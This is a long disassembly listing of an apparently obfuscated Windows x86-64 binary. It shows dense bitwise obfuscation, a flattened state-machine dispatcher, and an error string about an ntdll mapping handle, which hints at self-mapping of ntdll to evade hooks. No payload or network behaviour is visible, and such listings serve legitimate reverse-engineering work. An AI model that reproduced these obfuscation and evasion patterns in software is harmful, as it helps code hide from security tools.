xor ecx, 0xb8b8ad4b
and r13d, 0x8ce67161
or r13d, ecx
mov ecx, r13d
not ecx
and ecx, 0xe5fc1247
and r13d, 0x1a03edb8
or r13d, ecx
mov ecx, edx
xor ecx, 0x62804120
and ecx, 0x66b64124
xor edx, 0xea57c399
and edx, esi
and esi, 0x9949bedb
or esi, ecx
mov r12d, esi
xor r12d, 0x9949bedb
and r14d, 0x90c51279
mov edi, ebx
and edi, 0x6f3aed86
or edi, r14d
xor esi, 0x80d7bc38
and esi, r12d
mov ecx, esi
not ecx
mov eax, ecx
and eax, 0x93d086eb
and esi, 0x6c2f7914
or esi, eax
mov eax, edx
not eax
or ecx, eax
and eax, 0x93d086eb
and edx, 0x6c2f7914
or edx, eax
not r15d
or r15d, r8d
xor edx, esi
mov esi, edi
xor esi, 0x6f3aed86
xor edi, 0x76a4ef65
and edi, esi
and ebx, 0x199e02e3
not ecx
or ecx, edx
mov eax, edi
and eax, ebx
xor ebx, edi
mov r14d, r13d
xor r14d, 0x1a03edb8
or ebx, eax
mov eax, ecx
not eax
and eax, ebx
not ebx
and ebx, ecx
or ebx, eax
mov eax, r12d
and eax, esi
xor esi, r12d
or esi, eax
mov eax, esi
not eax
mov edx, ebx
not edx
mov ecx, edx
and ecx, 0xb2b996fc
and ebx, 0x4d466903
or ebx, ecx
or edx, esi
and esi, 0xb2b996fc
and eax, 0x4d466903
or eax, esi
xor eax, ebx
not edx
or edx, eax
mov eax, r15d
xor eax, 0xc10adccf
and eax, r15d
mov ebx, r15d
or ebx, 0x3ef52330
mov esi, eax
not esi
mov edi, esi
and edi, 0xc1da09a8
and eax, 0x3e25f657
or eax, edi
mov ecx, ebx
not ecx
or esi, ebx
and ebx, 0xc1da09a8
and ecx, 0xd447
or ecx, ebx
mov ebx, r13d
xor ebx, 0xe5fc1247
xor r13d, 0x24f6ce88
and r13d, ebx
xor ecx, eax
mov edi, r14d
and edi, 0xc10adccf
not esi
or esi, ecx
mov eax, r13d
and eax, edi
xor edi, r13d
or edi, eax
mov eax, esi
not eax
and eax, 0x1645712d
and esi, 0xe9ba8ed2
or esi, eax
mov eax, edi
not eax
and eax, 0x1645712d
and edi, 0xe9ba8ed2
or edi, eax
mov eax, r15d
not eax
xor edi, esi
mov ecx, eax
and ecx, 0x2d86a58a
and r15d, 0xd2795a75
or r15d, ecx
or eax, r14d
and r14d, 0x2d86a58a
and ebx, 0xd2795a75
or ebx, r14d
xor ebx, r15d
not eax
or eax, ebx
mov ecx, eax
not ecx
and ecx, 0x263e6525
and eax, 0xd9c19ada
or eax, ecx
xor eax, 0xd9c19ada
mov ecx, edi
and ecx, eax
xor eax, edi
or eax, ecx
mov ecx, edx
not ecx
and ecx, 0x4ace787b
and edx, 0xb5318784
or edx, ecx
mov r12d, eax
mov ecx, eax
xor ecx, 0x4ace787b
and ecx, eax
not eax
and eax, 0x4a80602a
and r12d, 0x4e1851
or r12d, eax
mov eax, r12d
xor eax, 0x421001
xor r12d, 0xffb1e7ae
mov esi, ecx
not esi
mov edi, r12d
and edi, 0x713cedf8
and eax, 0xac21003
or eax, edi
or r12d, esi
and esi, 0x713cedf8
and ecx, 0x8ec31207
or ecx, esi
xor ecx, eax
not r12d
or r12d, ecx
mov eax, edx
not eax
and eax, 0xcf02e82e
and edx, 0x30fd17d1
or edx, eax
mov eax, r12d
not eax
and eax, 0xcf02e82e
and r12d, 0x30fd17d1
or r12d, eax
xor r12d, edx
mov eax, r9d
and eax, 0xee85c2c9
and r10d, 0x117a3d36
or r10d, eax
mov ecx, r10d
xor ecx, 0x117a3d36
xor r10d, 0x2885c240
or r10d, 0xc700058d
mov edx, r10d
not edx
or r9d, 0x38fffa72
mov r15d, r9d
not r15d
xor r11d, 0x38fffa72
and r11d, r8d
mov r14d, ecx
and r14d, r8d
xor ecx, r8d
or r8d, 0x38fffa72
mov edi, r8d
not edi
and r10d, 0x15732c8a
and edx, 0x288cd270
or edx, r10d
and r9d, 0x15732c8a
and r15d, 0xc2000105
or r15d, r9d
xor r15d, edx
mov edx, r11d
not edx
mov esi, edx
and esi, 0x3cdf1444
and r11d, 0xc320ebbb
or r11d, esi
or edx, r8d
and r8d, 0x3cdf1444
and edi, 0xc3000189
or edi, r8d
xor edi, r11d
not edx
or edx, edi
mov eax, r15d
not eax
and eax, edx
not edx
and edx, r15d
or edx, eax
or ecx, r14d
mov eax, ecx
not eax
and eax, 0xac64ea0e
and ecx, 0x539b15f1
or ecx, eax
xor ecx, 0x539b15f1
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xb1234f15
and eax, ecx
and ecx, 0x4edcb0ea
or ecx, edx
mov edx, ecx
xor edx, 0x46c8008a
xor ecx, 0xb1234f15
mov edi, eax
not edi
mov esi, ecx
and esi, 0x3915bc61
and edx, 0xc6ea439e
or edx, esi
or ecx, edi
and edi, 0x3915bc61
and eax, 0xc6ea439e
or eax, edi
xor eax, edx
not ecx
or ecx, eax
mov esi, r12d
not esi
mov eax, esi
and eax, 0x422c1c83
and r12d, 0xbdd3e37c
or r12d, eax
mov r8d, r12d
xor r8d, 0x8112a278
mov r9d, ecx
mov eax, ecx
xor eax, 0x63509361
and eax, ecx
not ecx
and ecx, 0x6c6e51b7
and r9d, 0x9391ae48
or r9d, ecx
mov r10d, r9d
xor r10d, 0x9391ae48
xor r12d, 0x422c1c83
mov ebx, r12d
or ebx, 0x9caf6c9e
mov ecx, ebx
not ecx
or esi, 0x63509361
mov edi, esi
not edi
mov edx, r9d
xor edx, 0xf3ec2d6
and edx, r10d
and ebx, 0x6c9f00c
and ecx, 0x61100361
or ecx, ebx
and esi, 0x6c9f00c
and edi, 0x98260c92
or edi, esi
xor edi, ecx
mov ecx, edx
not ecx
mov ebx, eax
not ebx
mov esi, ecx
and esi, 0x8cbce5d5
and edx, 0x73431a2a
or edx, esi
or ecx, ebx
and ebx, 0x8cbce5d5
and eax, 0x73431a2a
or eax, ebx
xor eax, edx
not ecx
or ecx, eax
mov eax, edi
not eax
and eax, 0x91764596
and edi, 0x6e89ba69
or edi, eax
mov eax, ecx
not eax
and eax, 0x91764596
and ecx, 0x6e89ba69
or ecx, eax
xor ecx, edi
xor r9d, 0x6c6e51b7
mov eax, r12d
and eax, 0x3ec95907
and r8d, 0xc136a6f8
or r8d, eax
or r12d, r9d
and r9d, 0x3ec95907
and r10d, 0xc136a6f8
or r10d, r9d
xor r10d, r8d
not r12d
or r12d, r10d
mov edx, r12d
not edx
mov eax, ecx
not eax
mov ebx, eax
and ebx, 0xd7e4e107
and ecx, 0x281b1ef8
or ecx, ebx
or eax, r12d
and r12d, 0xd7e4e107
and edx, 0x281b1ef8
or edx, r12d
xor edx, ecx
not eax
or eax, edx
mov ebx, eax
not ebx
mov edx, eax
mov edi, ebx
mov ecx, ebx
and ecx, 0x2eb9f6d2
and eax, 0xd146092d
or eax, ecx
not eax
or eax, ebx
or ebx, 0x1dc04514
mov ecx, ebx
not ecx
or edx, 0xc23bba02
and edx, 0xc6bbbb12
and edi, 0x19404404
or edi, edx
and ebx, 0xc6bbbb12
and ecx, 0x200400e9
or ecx, ebx
xor ecx, edi
mov edx, ecx
not edx
and edx, 0xab683ae7
and ecx, 0x5497c518
or ecx, edx
mov edx, ecx
xor edx, 0x40540008
xor ecx, 0x36000cb1
and ecx, 0x3f038cb5
and edx, 0xc0fc734a
or edx, ecx
mov ecx, edx
xor ecx, 0xf42300
xor edx, 0x16038c94
and edx, 0xd60bdcde
and ecx, 0x29f42321
or ecx, edx
mov edx, ecx
xor edx, 0xf8b22a0c
xor ecx, 0x29f42321
and ecx, edx
mov edi, ecx
xor edi, 0x77cf796e
mov r10d, edi
and edi, ecx
not ecx
and r10d, ecx
mov r8d, eax
mov esi, eax
mov r9d, ecx
and r9d, eax
xor ecx, eax
not eax
and r8d, 0x77cf796e
xor esi, 0x88308691
and esi, eax
mov eax, r10d
not eax
mov ebx, edi
not ebx
mov edx, eax
and edx, 0x6d153b86
and r10d, 0x92eac479
or r10d, edx
or eax, ebx
and ebx, 0x6d153b86
and edi, 0x92eac479
or edi, ebx
xor edi, r10d
not eax
or eax, edi
mov ebx, r8d
and ebx, esi
xor esi, r8d
or esi, ebx
mov ebx, eax
not ebx
and ebx, esi
not esi
and esi, eax
or esi, ebx
or ecx, r9d
mov eax, ecx
not eax
mov edx, esi
not edx
mov ebx, edx
and ebx, 0x66f85fa2
and esi, 0x9907a05d
or esi, ebx
or edx, ecx
and ecx, 0x66f85fa2
and eax, 0x9907a05d
or eax, ecx
xor eax, esi
not edx
or edx, eax
mov eax, edx
mov r8d, edx
xor r8d, 0xe79d7df2
and r8d, edx
not edx
and edx, 0x451c5cf0
and eax, 0xa2812102
or eax, edx
xor eax, 0xa2812102
mov ecx, eax
and ecx, r8d
xor r8d, eax
or r8d, ecx
mov eax, r8d
not eax
and eax, 0xeaf10c37
and r8d, 0x150ef3c8
or r8d, eax
mov ecx, r8d
xor ecx, 0xb38e217d
xor r8d, 0x4c71de82
mov eax, ecx
or eax, 0x8315d236
mov edx, eax
not edx
mov esi, r8d
or esi, 0x7cea2dc9
mov ebx, esi
not ebx
and eax, 0xff7c522e
and edx, 0x822dc1
or edx, eax
and esi, 0xff7c522e
and ebx, 0x18010
or ebx, esi
xor ebx, edx
mov eax, ebx
not eax
and eax, 0x8315d236
and ebx, 0x7cea2dc9
or ebx, eax
mov edi, ebx
mov eax, ebx
xor eax, 0x830877ae
and eax, ebx
not ebx
and ebx, 0xa3d08200
and edi, 0x5c2f7dff
or edi, ebx
mov esi, edi
xor esi, 0x5c2f7dff
mov edx, esi
and edx, 0x830877ae
mov ebx, edx
and ebx, eax
xor eax, edx
or eax, ebx
mov edx, eax
not edx
and edx, 0x83106381
and eax, 0x7cef9c7e
or eax, edx
mov ebx, eax
xor ebx, 0x10042e
and esi, 0xfffffffe
xor edi, 0xa3d08201
or edi, esi
mov edx, edi
not edx
and edx, 0x7be554a7
and edi, 0x841aab58
or edi, edx
mov edx, edi
xor edx, 0x80122808
xor eax, 0xffe7ebd1
xor edi, 0x7be554a7
mov esi, eax
and esi, 0x1c09d351
and ebx, 0xe3f62cae
or ebx, esi
or eax, edi
and edi, 0x1c09d351
and edx, 0xe3f62cae
or edx, edi
xor edx, ebx
not eax
or eax, edx
mov edx, eax
not edx
and edx, 0x4234428
mov ebx, eax
and ebx, 0x82802040
or ebx, edx
xor ebx, 0x82802040
and eax, 0x795c9b97
or eax, ebx
mov edx, eax
not edx
and edx, 0x795c9b97
and eax, 0x86a36468
or eax, edx
mov edx, eax
not edx
and eax, 0x8025d243
and edx, 0x7fda2dbc
or edx, eax
mov r10d, edx
xor r10d, 0x80048240
xor edx, 0x6b8801a8
and edx, 0x6ba951ab
and r10d, 0x9456ae54
or r10d, edx
mov r9d, r10d
xor r9d, 0x9456ae54
mov edx, ecx
and edx, 0x52184228
mov eax, r8d
and eax, 0x88209002
or eax, edx
xor eax, 0x88209002
or eax, 0x25c72dd5
mov edi, eax
not edi
and r8d, 0x52098885
and ecx, 0xadf6777a
or ecx, r8d
mov edx, ecx
xor edx, 0x8830522a
and edx, 0xda38d22a
xor ecx, 0x77cea550
or ecx, edx
mov edx, ecx
not edx
and edx, 0x32fbb3d6
and ecx, 0xcd044c29
or ecx, edx
mov edx, ecx
xor edx, 0x85040c09
xor ecx, 0x32fbb3d6
mov ebx, edi
xor ebx, ecx
and ebx, edi
and eax, 0x7a78d2f4
and edi, 0x8000000a
or edi, eax
and ecx, 0x7a78d2f4
and edx, 0x85872d0b
or edx, ecx
xor edx, edi
mov eax, ebx
and eax, edx
xor edx, ebx
or edx, eax
mov eax, edx
not eax
mov ecx, eax
or ecx, 0x25c72dd4
mov ebx, ecx
not ebx
or edx, 0x82100000
and edx, 0x839624d4
and eax, 0x24410900
or eax, edx
and ecx, 0x839624d4
and ebx, 0x5828d22b
or ebx, ecx
xor ebx, eax
mov r11d, r10d
xor r11d, 0x6ba951ab
mov eax, r11d
and eax, 0x97bcc101
xor r10d, 0x3ea6f55
and r10d, r9d
mov ecx, eax
and ecx, r10d
xor r10d, eax
or r10d, ecx
mov eax, r10d
not eax
and eax, 0x68433efe
and r10d, 0x97bcc101
or r10d, eax
mov r15d, ebx
not r15d
mov r14d, r15d
and r14d, ebx
mov eax, r15d
and eax, r14d
xor r14d, r15d
or r14d, eax
mov r8d, r10d
not r8d
mov eax, r8d
and eax, 0x3baf34e4
mov edi, r10d
xor edi, 0xc450cb1b
or edi, eax
mov eax, edi
not eax
and eax, 0x21ec6346
and edi, 0xde139cb9
or edi, eax
mov eax, r11d
and eax, 0xcc884648
and r9d, 0x3377b9b7
or r9d, eax
xor r9d, 0x8d88d53
xor r11d, r9d
and r11d, r9d
mov r9d, r14d
not r9d
mov eax, r9d
and eax, 0x3baf34e4
mov esi, r14d
and esi, 0xc450cb1b
or esi, eax
mov eax, r15d
and eax, 0xb95e482a
and ebx, 0x46a1b7d5
or ebx, eax
mov edx, edi
xor edx, 0xde139cb9
xor ebx, 0x7d0e8331
xor r15d, ebx
and r15d, ebx
xor edi, 0x21ec6346
mov eax, r11d
not eax
and r11d, edi
or edi, eax
and eax, edx
not esi
or esi, r9d
not edi
or eax, r11d
mov edx, edi
and edx, eax
xor eax, edi
mov edi, esi
not edi
or eax, edx
mov edx, r15d
not edx
and r15d, esi
or esi, edx
and edx, edi
mov ecx, esi
not ecx
or edx, r15d
mov edi, esi
and edi, 0xb32ade83
and ecx, 0x4cd5217c
or ecx, edi
mov edi, edx
not edi
or esi, edi
and edi, 0xb32ade83
and edx, 0x4cd5217c
or edx, edi
xor edx, ecx
not esi
or esi, edx
mov ecx, eax
not ecx
and ecx, 0x84024210
mov edx, eax
and edx, 0x4be8a140
or edx, ecx
xor edx, 0x4be8a140
and eax, 0x30151caf
or eax, edx
mov ecx, esi
not ecx
and ecx, 0x400e050
mov edx, esi
and edx, 0xcbea0300
or edx, ecx
xor edx, 0xcbea0300
and esi, 0x30151caf
or esi, edx
mov ecx, eax
not ecx
and ecx, esi
not esi
and esi, eax
or esi, ecx
mov eax, r8d
or eax, r9d
mov edx, eax
not edx
and r8d, 0x7924bf37
and r10d, 0x86db40c8
or r10d, r8d
and r9d, 0x7924bf37
and r14d, 0x86db40c8
or r14d, r9d
xor r14d, r10d
mov ecx, r14d
not ecx
mov edi, eax
and edi, 0x6e8f936
and edx, 0xf91706c9
or edx, edi
or eax, ecx
and ecx, 0x6e8f936
and r14d, 0xf91706c9
or r14d, ecx
xor r14d, edx
not eax
or eax, r14d
mov edi, eax
not edi
or eax, 0x9cb64a04
mov edx, eax
not edx
or edi, 0x6349b5fb
mov ecx, edi
not ecx
and eax, 0x583feed9
and edx, 0x23401122
or edx, eax
and edi, 0x583feed9
and ecx, 0x84800004
or ecx, edi
xor ecx, edx
mov eax, ecx
not eax
and eax, 0x9cb64a04
and ecx, 0x6349b5fb
or ecx, eax
mov edx, ecx
not edx
and ecx, 0xc1948dfe
and edx, 0x3e6b7201
or edx, ecx
mov ecx, edx
xor ecx, 0xc1948dfe
xor edx, 0x4692000
mov eax, esi
xor eax, ecx
and eax, esi
mov ebx, esi
not ebx
and ebx, 0x7a02db49
and esi, 0x85fd24b6
or esi, ebx
and ecx, 0x7a02db49
and edx, 0x85fd24b6
or edx, ecx
xor edx, esi
mov r9d, eax
not r9d
mov ecx, edx
not ecx
mov esi, r9d
and esi, 0x19424627
and eax, 0xe6bdb9d8
or eax, esi
or r9d, ecx
and ecx, 0x19424627
and edx, 0xe6bdb9d8
or edx, ecx
xor edx, eax
not r9d
or r9d, edx
mov esi, r9d
not esi
mov eax, esi
and eax, 0x918a0090
mov ebx, r9d
and ebx, 0x101000
or ebx, eax
mov eax, ebx
xor eax, 0x100000
xor ebx, 0xa0076482
mov ecx, esi
or ecx, 0x919a1090
mov edx, ecx
not edx
and ebx, 0xa0077482
and eax, 0x11980010
or eax, ebx
and ecx, 0xa0077482
and edx, 0x4e608b6d
or edx, ecx
xor edx, eax
mov eax, edx
not eax
and eax, 0x4beb33b9
and edx, 0xb414cc46
or edx, eax
mov eax, edx
xor eax, 0x58a9c50
xor edx, 0xda712329
and eax, 0xd58b9e58
mov ecx, edx
and ecx, 0x2a7461a7
or ecx, eax
xor ecx, 0xcae080a2
and edx, 0x1f6b1efa
or edx, ecx
mov eax, edx
not eax
and eax, 0x7dde33c7
and edx, 0x8221cc38
or edx, eax
mov eax, edx
xor eax, 0x2010818
xor edx, 0x7dde33c7
mov ecx, esi
and ecx, 0xe094e105
mov edi, r9d
xor edi, 0x1f6b1efa
or edi, ecx
mov ebx, edi
not ebx
mov ecx, edx
or ecx, edi
not ecx
and edx, 0x99aaf6a1
and eax, 0x6655095e
or eax, edx
and edi, 0x99aaf6a1
and ebx, 0x6655095e
or ebx, edi
xor ebx, eax
mov eax, ecx
and eax, ebx
xor ebx, ecx
or ebx, eax
mov eax, ebx
not eax
and eax, 0x1f6b1efa
and ebx, 0xe094e105
or ebx, eax
mov eax, ebx
not eax
or ebx, 0xd96fd821
mov ecx, ebx
not ecx
or eax, 0x269027de
mov edx, eax
not edx
and ebx, 0x82fac6b8
and ecx, 0x24002146
or ecx, ebx
and eax, 0x82fac6b8
and edx, 0x59051801
or edx, eax
xor edx, ecx
mov eax, edx
not eax
and eax, 0xc5c80647
and edx, 0x3a37f9b8
or edx, eax
mov eax, edx
xor eax, 0xe3582199
xor edx, 0xb40c67b5
and edx, eax
or eax, 0xa8abb9d3
mov ecx, eax
not ecx
mov edi, edx
not edi
mov ebx, edi
and ebx, 0x78725096
and edx, 0x878daf69
or edx, ebx
or edi, eax
and eax, 0x78725096
and ecx, 0x7040628
or ecx, eax
xor ecx, edx
not edi
or edi, ecx
mov eax, edi
not eax
and eax, 0x77146c52
and edi, 0x88eb93ad
or edi, eax
mov r8d, edi
xor r8d, 0x2252
xor edi, 0xdfbfd581
mov eax, edi
and eax, 0x3048482d
and r8d, 0xcfb7b7d2
or r8d, eax
xor r8d, 0xcfb7b7d2
or r8d, edi
mov r10d, r8d
not r10d
and esi, 0x5a598977
and r9d, 0xa5a67688
or r9d, esi
mov eax, r9d
xor eax, 0xa5a67688
xor r9d, 0x5a598977
mov ecx, r9d
and ecx, 0x7cee99c0
mov edx, eax
mov edi, r9d
or r9d, eax
and eax, 0x8311663f
or eax, ecx
and edx, 0x7cee99c0
and edi, 0x8311663f
or edi, edx
xor edi, eax
not r9d
or r9d, edi
mov esi, r9d
xor esi, 0xb8abde8e
and esi, r9d
not r9d
and r9d, 0xb8abde8e
mov eax, r9d
and eax, esi
xor esi, r9d
or esi, eax
mov eax, esi
not eax
and eax, 0x47542171
and esi, 0xb8abde8e
or esi, eax
mov eax, esi
not eax
mov ebx, r10d
mov ecx, esi
mov edi, r8d
and edi, 0xb5866208
and r10d, 0x4a799df7
or r10d, edi
xor r10d, esi
xor r10d, 0xb5866208
and r10d, esi
or esi, r8d
and r8d, 0xe5ce12f3
and ebx, 0x1a31ed0c
or ebx, r8d
mov edx, ebx
xor edx, 0x1020c804
and eax, 0xd7a6bad7
and ecx, 0x28594528
or ecx, eax
mov eax, ecx
xor eax, 0x20404000
xor ebx, 0xe5ce12f3
xor ecx, 0xd7a6bad7
mov edi, ebx
and edi, 0xf99252a
and edx, 0xf066dad5
or edx, edi
or ebx, ecx
and ecx, 0xf99252a
and eax, 0xf066dad5
or eax, ecx
xor eax, edx
not ebx
or ebx, eax
mov eax, ebx
not eax
and eax, 0xaf0b40f4
and ebx, 0x50f4bf0b
or ebx, eax
mov edx, ebx
xor edx, 0x50f4bf0b
xor ebx, 0x88024070
mov ecx, esi
not ecx
mov edi, r10d
not edi
mov eax, edi
and eax, 0x7955ac59
and r10d, 0x86aa53a6
or r10d, eax
or edi, esi
and esi, 0x7955ac59
and ecx, 0x86aa53a6
or ecx, esi
xor ecx, r10d
not edi
or edi, ecx
mov ecx, edi
not ecx
mov eax, edx
xor eax, ecx
and eax, edx
and ebx, 0xc846e273
and edx, 0x37b91d8c
or edx, ebx
and ecx, 0xc846e273
and edi, 0x37b91d8c
or edi, ecx
xor edi, edx
mov ecx, eax
and ecx, edi
xor edi, eax
or edi, ecx
mov edx, edi
not edx
mov ecx, edx
and ecx, 0xb9fb6f42
mov eax, edi
and eax, 0x460490bd
or eax, ecx
xor eax, 0x460490bd
mov ecx, edx
and ecx, edi
mov ebx, eax
and ebx, ecx
xor ecx, eax
or ecx, ebx
mov eax, ecx
not eax
and eax, 0x6a9132f
and ecx, 0xf956ecd0
or ecx, eax
mov ebx, ecx
xor ebx, 0xf956ecd0
xor ecx, 0xa8032c
and ecx, 0xd0ac2fec
mov eax, ebx
and eax, 0x2f53d013
or eax, ecx
xor eax, 0x2f53d013
or eax, ebx
mov ecx, eax
not ecx
and ecx, 0x48562b23
and eax, 0xb7a9d4dc
or eax, ecx
mov esi, eax
xor esi, 0xb7a9d4dc
mov ecx, esi
xor ecx, edx
and ecx, esi
xor eax, 0x48562b23
and eax, edi
and esi, edx
or esi, eax
mov eax, ecx
and eax, esi
xor esi, ecx
or esi, eax
and edx, 0x6c2c4e75
and edi, 0x93d3b18a
or edi, edx
mov eax, edi
not eax
and eax, 0x93d3b18a
and edi, 0x6c2c4e75
or edi, eax
mov ecx, edi
xor ecx, 0xf7826e93
mov r9d, ecx
and ecx, edi
mov eax, edi
not eax
mov ebx, esi
and r9d, eax
mov r8d, esi
and r8d, eax
xor eax, esi
not esi
and ebx, 0xf7826e93
and esi, 0x87d916c
or esi, ebx
mov ebx, r9d
not ebx
mov edi, ebx
and edi, 0x57464670
and r9d, 0xa8b9b98f
or r9d, edi
mov edx, ecx
not edx
or ebx, edx
and edx, 0x57464670
and ecx, 0xa8b9b98f
or ecx, edx
xor ecx, r9d
not ebx
or ebx, ecx
mov ecx, esi
not ecx
and ecx, ebx
not ebx
and ebx, esi
or ebx, ecx
mov edx, dword [0x1400a6664]
or eax, r8d
not eax
mov ecx, ebx
and ecx, eax
xor eax, ebx
or eax, ecx
mov ecx, eax
not ecx
mov ebx, ecx
and ebx, 0xfcfca2
and ecx, eax
and eax, 0xff03035d
or eax, ebx
xor eax, 0xff03035d
mov ebx, eax
and ebx, ecx
xor eax, ecx
or eax, ebx
sete sil
setne r8b
cmp edx, 0xa
setl r9b
cmp edx, 9
setg r10b
mov edx, r10d
xor dl, r9b
and dl, r10b
mov ebx, edx
xor bl, 1
and bl, r8b
and dl, sil
or dl, bl
mov ecx, r9d
xor cl, sil
mov ebx, r9d
or bl, sil
xor bl, 1
or bl, cl
mov eax, ebx
xor al, cl
xor cl, 1
xor al, 1
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and cl, al
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
xor cl, 1
xor dl, 1
mov eax, edx
and al, cl
xor dl, cl
or al, dl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
and cl, al
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
mov r11d, ecx
and r11b, al
xor r11b, 1
mov edx, r11d
xor dl, al
or r11b, al
xor r11b, 1
or r11b, dl
or al, cl
mov ecx, eax
xor cl, r11b
xor r11b, 1
xor cl, 1
or r11b, al
xor r11b, 1
or r11b, cl
mov eax, r11d
xor al, 1
and r11b, al
mov ecx, r11d
and cl, al
xor r11b, al
or r11b, cl
mov eax, esi
and al, r10b
mov ecx, esi
xor cl, r10b
or al, cl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov edx, eax
xor dl, 1
and dl, al
xor dl, 1
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
and sil, r9b
or r9b, r8b
and r10b, r8b
or r10b, sil
mov eax, r9d
xor al, r10b
xor r10b, 1
xor al, 1
or r10b, r9b
xor r10b, 1
or r10b, al
mov r8d, r10d
xor r8b, 1
mov edi, edx
xor dil, 1
mov ebx, edi
and bl, dl
mov eax, edi
and al, bl
xor bl, dil
or bl, al
mov r9d, ebx
xor r9b, 1
mov ecx, r10d
or cl, r8b
or dil, dl
xor dil, 1
mov esi, edx
and sil, dil
xor dil, dl
mov edx, r8d
and dl, cl
xor cl, 1
or dil, sil
mov eax, ecx
xor al, r10b
and al, cl
and cl, r10b
or cl, dl
xor al, 1
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov r14d, r9d
and r14b, bl
mov esi, r9d
and sil, r14b
xor r14b, r9b
xor r9b, r8b
mov edx, r8d
xor cl, dil
mov r8d, r11d
xor r8b, 1
and dl, r10b
or r14b, sil
xor dl, 1
mov esi, r10d
xor sil, dl
or dl, r10b
xor dl, 1
or dl, sil
mov eax, r14d
xor al, 1
and al, dl
xor dl, 1
and dl, r14b
mov esi, ecx
xor sil, 1
or dl, al
or bl, r10b
xor bl, 1
or bl, r9b
xor bl, 1
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov edx, ebx
xor dl, 1
and dl, bl
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
and cl, dl
xor dl, 1
and dl, sil
or dl, cl
mov eax, esi
and al, bl
xor bl, sil
or bl, al
mov eax, ebx
xor al, dl
xor dl, 1
xor al, 1
or dl, bl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov esi, eax
and sil, dl
xor sil, 1
mov ecx, esi
xor cl, dl
or sil, dl
xor sil, 1
or sil, cl
mov ecx, esi
and cl, r11b
xor sil, 1
and sil, r8b
or sil, cl
mov ecx, esi
xor cl, 1
xor sil, r11b
xor sil, 1
or sil, cl
mov r9d, esi
xor r9b, 1
mov ecx, r8d
and cl, al
and dl, r11b
or dl, cl
mov ecx, edx
xor cl, al
and cl, dl
mov edx, r8d
xor dl, al
or al, r8b
xor al, 1
or al, dl
xor cl, 1
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
xor cl, 1
xor al, 1
or cl, dl
xor cl, 1
or cl, al
mov r8d, ecx
xor r8b, 1
mov edx, esi
or dl, r9b
mov r10d, r8d
or r10b, cl
mov edi, r10d
xor dil, 1
mov ebx, r9d
and bl, sil
xor bl, 1
mov r11d, ebx
xor r11b, sil
or bl, sil
xor bl, 1
or bl, r11b
xor bl, dl
mov r11d, edx
and r11b, sil
xor dl, sil
or dl, r11b
mov r11d, ebx
xor r11b, dl
or dl, bl
xor dl, 1
or dl, r11b
and dil, r10b
mov ebx, r8d
and bl, cl
mov r11d, r10d
and r11b, dil
xor dil, r10b
or dil, r11b
mov r11d, r8d
and r11b, bl
xor bl, r8b
or bl, r11b
mov eax, edi
xor al, 1
and al, bl
xor bl, 1
and bl, dil
or bl, al
mov eax, r10d
and al, r8b
xor r10b, r8b
or r10b, al
xor bl, 1
mov eax, ebx
xor al, r10b
or bl, r10b
xor bl, 1
or bl, al
xor bl, 1
mov eax, ebx
or al, dl
xor al, 1
xor bl, dl
xor bl, 1
and bl, dl
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
and r8b, r9b
or r9b, cl
xor r9b, 1
and cl, sil
or cl, r8b
mov eax, r9d
and al, cl
xor cl, r9b
or cl, al
mov eax, ecx
xor al, 1
mov edx, ebx
xor dl, cl
and dl, bl
and cl, bl
xor bl, 1
and bl, al
or cl, bl
mov eax, edx
xor al, cl
test al, 1
mov ebx, 0x5a9e859b
mov edi, 0x9ef1265b
cmovne ebx, edi
test cl, 1
mov eax, ebx
cmovne eax, edi
jmp 0x14001e108
cmp eax, 0x84f9def
jle 0x14000a96c
cmp eax, 0x84f9df0
je 0x140016213
cmp eax, 0x174d6e2a
je 0x1400171d2
cmp eax, 0x1d985daa
jne 0x140001970
sub rsp, 0x20
lea rcx, str.____Invalid_Ntdll_mapping_handle
call fcn.140021420
add rsp, 0x20
mov eax, 0x84f9df0
mov dword [rbp + 0x14], 1
cmp eax, 0x1fd01907
jle 0x1400019e0
jmp 0x140001977
cmp eax, 0x575a7ffb
jle 0x14000a99e
cmp eax, 0x575a7ffc
je 0x1400213e1
cmp eax, 0x5a9e859b
jne 0x140001970
movzx eax, word [rbp + 0xce]
movzx eax, word [rbp + 0xce]
movzx eax, word [rbp + 0xce]
movzx eax, word [rbp + 0xce]
movzx eax, word [rbp + 0xce]
movzx eax, word [rbp + 0xce]
mov eax, 0x9ef1265b
cmp eax, 0x1fd01907
jle 0x1400019e0
jmp 0x140001977
cmp eax, 0x60017083
je 0x1400171e7
cmp eax, 0x6a226f15
jne 0x140001970
mov eax, dword [0x1400a6668]
lea r9d, [rax - 1]
imul r9d, eax
mov r8d, r9d
not r8d
mov ecx, r8d
and ecx, 0xa85af136
mov eax, r9d
and eax, 0x57a50ec9
or eax, ecx
mov ecx, eax
xor ecx, 0x1800048
xor eax, 0xa0583120
mov edx, r9d
xor edx, 0xf1d83769
and edx, r9d
or eax, 0xe27c896
mov ebx, edx
not ebx
mov edi, eax
and edi, 0x76294f05
and ecx, 0x81d03068
or ecx, edi
or eax, ebx
and ebx, 0x76294f05
and edx, 0x89d6b0fa
or edx, ebx
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xe27c896
and eax, 0xf1d83769
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xeac5ea3f
xor eax, 0x153a15c0
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x2153545e
and eax, 0xdeacaba1
or eax, ecx
mov edi, eax
xor edi, 0xdeacaba1
mov edx, r8d
and edx, 0x1ecc868d
mov ebx, r9d
and ebx, 0xe1337972
or ebx, edx
xor ebx, 0xbf6934d
mov edx, ebx
xor edx, r8d
and edx, ebx
xor eax, 0x2153545e
